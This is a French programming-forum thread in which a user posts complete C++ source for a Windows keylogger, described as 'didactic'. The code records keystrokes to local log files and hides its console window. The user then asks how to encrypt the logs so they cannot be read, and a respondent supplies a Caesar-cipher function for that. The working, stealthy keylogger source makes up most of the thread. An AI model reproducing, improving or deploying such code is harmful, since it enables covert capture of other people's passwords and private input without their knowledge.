Rendre 'illisible' fichiers fstream

Le problème exposé dans ce sujet a été résolu.

Bonjour, j’ai codé un petit keylogger (à des fins didactiques). Voilà le code source :

  1
  2
  3
  4
  5
  6
  7
  8
  9
 10
 11
 12
 13
 14
 15
 16
 17
 18
 19
 20
 21
 22
 23
 24
 25
 26
 27
 28
 29
 30
 31
 32
 33
 34
 35
 36
 37
 38
 39
 40
 41
 42
 43
 44
 45
 46
 47
 48
 49
 50
 51
 52
 53
 54
 55
 56
 57
 58
 59
 60
 61
 62
 63
 64
 65
 66
 67
 68
 69
 70
 71
 72
 73
 74
 75
 76
 77
 78
 79
 80
 81
 82
 83
 84
 85
 86
 87
 88
 89
 90
 91
 92
 93
 94
 95
 96
 97
 98
 99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
#include <string>
#include <iostream>
#include <fstream>
#include <Windows.h>
#include <stdio.h>


using std::string;
using std::cout;
using std::endl;
using std::fstream;
using std::ofstream;


void WriteData(string Text);
bool isKeyListed(int vKey);
void Stealth();



char Crypt(char* _data) {

    for (int u = 0; u<27; u++) {
        _data[u]++;

    }

    return 0;

}
char deCrypt(char* _data) {

    for (int u = 0; u<27; u++) {
        _data[u]--;
    }
    return 0;
}



int main()
{
    Stealth();

    char key;

    while (1)
    {
        for (key = 8; key <= 255; key++)
        {
            if (GetAsyncKeyState(key) & 0x0001)
            {
                if (isKeyListed(key) == 0)
                {
                    //Crypt(&key); //deCrypt (&key); ??????????????????????????????????????????????
                    ofstream LogFile;
                    LogFile.open("logs.txt", fstream::app);
                    LogFile << key;
                    LogFile.close();


                }
                Sleep(100);
            }
        }
    }




    return 0;
}

void WriteData(string Text) {
    ofstream LogFile;
    LogFile.open("Data.txt", fstream::app);
    LogFile << Text;
    LogFile.close();
}

void Stealth() {
    HWND hwNd;
    AllocConsole();
    hwNd = FindWindowA("ConsoleWindowClass", NULL);
    ShowWindow(hwNd, 0);
}




bool isKeyListed(int vKey) {                            //Special Keys
    switch (vKey) {
    case VK_RETURN:
        WriteData(" \n**enter** ");
        break;
    case VK_BACK:
        WriteData(" \b**backspace** ");
        break;
    case VK_SPACE:
        WriteData(" **spacebar** ");
        break;
    case VK_SHIFT:
        WriteData(" **shift** ");
        break;
    case VK_OEM_PERIOD:
        WriteData(" .**point**");
        break;
    case VK_CAPITAL:
        WriteData(" **capital** ");
        break;
    case VK_LSHIFT:
        WriteData(" **leftShift** ");
        break;
    case VK_RSHIFT:
        WriteData(" **rightShift** ");
        break;
    case VK_TAB:
        WriteData(" **tab** ");
        break;
    default: return false;
    }



}

J’ai crée la fonction char Crypt(char _data) et char deCrypt(char _data) pour ’’essayer’’ de rendre ’’illisible’’ le flux qui est écrit dans le fichier Data et Logs, par contre, je n’ai aucune idée de comment je dois les implémenter dans le code ? :(

+0 -0

Il faut que tu te décides : soit la fonction modifie l’objet passé en paramètre et ne renvoie rien, soit elle ne modifie pas l’objet passé en paramètre et renvoie le résultat.

Donc soit : void crypt(std::string & data) soit std::string crypt(const std::string & data).

Il faut que tu te décides : soit la fonction modifie l’objet passé en paramètre et ne renvoie rien, soit elle ne modifie pas l’objet passé en paramètre et renvoie le résultat.

Donc soit : void crypt(std::string & data) soit std::string crypt(const std::string & data).

Olybri

Peu importe, ce que je veux savoir c’est comment implémenter ça

Edit: Est-ce que pour faire ça, je ne devrais pas utiliser directement un shell ?

+0 -0

Et bien l’implémentation va dépendre de la manière dont tu veux chiffrer tes données. Vu que tu semble vouloir appliquer la technique du chiffre de César, on peut par exemple imaginer cette variante avec une clé en paramètre :

1
2
3
4
5
6
7
8
std::string encrypt(const std::string & msg, char key)
{
    std::string result = msg;
    for(char & c : result)
        c += key;

    return result;
}

Note que la fonction inverse peut se réduire à une ligne : return encrypt(msg, -key);.

Et bien l’implémentation va dépendre de la manière dont tu veux chiffrer tes données. Vu que tu semble vouloir appliquer la technique du chiffre de César, on peut par exemple imaginer cette variante avec une clé en paramètre :

1
2
3
4
5
6
7
8
std::string encrypt(const std::string & msg, char key)
{
    std::string result = msg;
    for(char & c : result)
        c += key;

    return result;
}

Note que la fonction inverse peut se réduire à une ligne : return encrypt(msg, -key);.

Olybri

Merci :) Mais comment dois-je faire pour implémenter ça dans le code ?

Connectez-vous pour pouvoir poster un message.
Connexion

Pas encore membre ?

Créez un compte en une minute pour profiter pleinement de toutes les fonctionnalités de Zeste de Savoir. Ici, tout est gratuit et sans publicité.
Créer un compte